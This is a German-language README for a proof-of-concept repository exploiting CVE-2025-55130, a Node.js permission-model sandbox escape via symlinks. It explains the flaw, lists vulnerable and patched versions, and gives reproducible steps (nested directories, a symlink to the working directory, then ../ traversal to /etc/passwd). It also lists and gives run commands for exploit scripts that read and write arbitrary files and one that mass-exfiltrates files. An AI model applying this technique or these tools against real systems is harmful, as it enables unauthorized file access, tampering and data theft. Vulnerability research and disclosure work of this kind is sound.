
PoC für CVE-2025-55130
___ _ _ ___ ____ ____ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Umgehung des Node.js-Berechtigungsmodells durch präparierte Symlinks
[ Entdeckt von natann @ JFrog ]
Ein Pfad-Traversal-Fehler in Node.js ermöglicht das Ausbrechen aus den Berechtigungsbeschränkungen von --allow-fs-read und --allow-fs-write mithilfe von Symlinks, die auf absolute Pfade verweisen, kombiniert mit relativer Traversierung.
Die Berechtigungsprüfung und die Pfadauflösung erfolgen getrennt. Sobald der anfängliche Pfad die Berechtigungsprüfung besteht, wird dem Symlink gefolgt und die Traversierungssequenzen verlassen die Sandbox.
| Branch | Verwundbar | Gepatcht |
|---|---|---|
| 20.x | < 20.20.0 | 20.20.0 |
| 22.x | < 22.22.0 | 22.22.0 |
| 24.x | < 24.13.0 | 24.13.0 |
| 25.x | < 25.3.0 | 25.3.0 |
Berechtigungsprüfung: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ERLAUBT (beginnt mit ./)
Pfadauflösung: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Löst auf zu /etc/passwd - AUSSERHALB DER SANDBOX
Das Berechtigungsmodell validiert die Pfadzeichenfolge vor der Symlink-Auflösung. Indem wir einen Symlink zu einem absoluten Pfad erstellen und die ../-Traversierung NACH dem Symlink verwenden, entkommen wir dem erlaubten Verzeichnis.
1. mkdir -p ./a/b/c/d/e/f/g # Erstelle verschachtelte Verzeichnisse im erlaubten Pfad
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink zu absolutem Pfad
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Berechtigungsprüfung bestanden (innerhalb ./)
Nach Symlink-Auflösung:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversierung entkommt in das Wurzelverzeichnis
| Datei | Zweck |
|---|---|
exploit.js | Hauptexploit – Beliebige Dateien lesen |
exploit_write.js | Beliebige Dateien schreiben |
exfil.js | Massenhafter Dateiabfluss |
check.js | Überprüfung der Version auf Verwundbarkeit |
# Grundlegende Ausnutzung
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Auf Verwundbarkeit prüfen
node check.js
# Massenhafter Abfluss
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Nur für Forschungs- und autorisierte Testzwecke.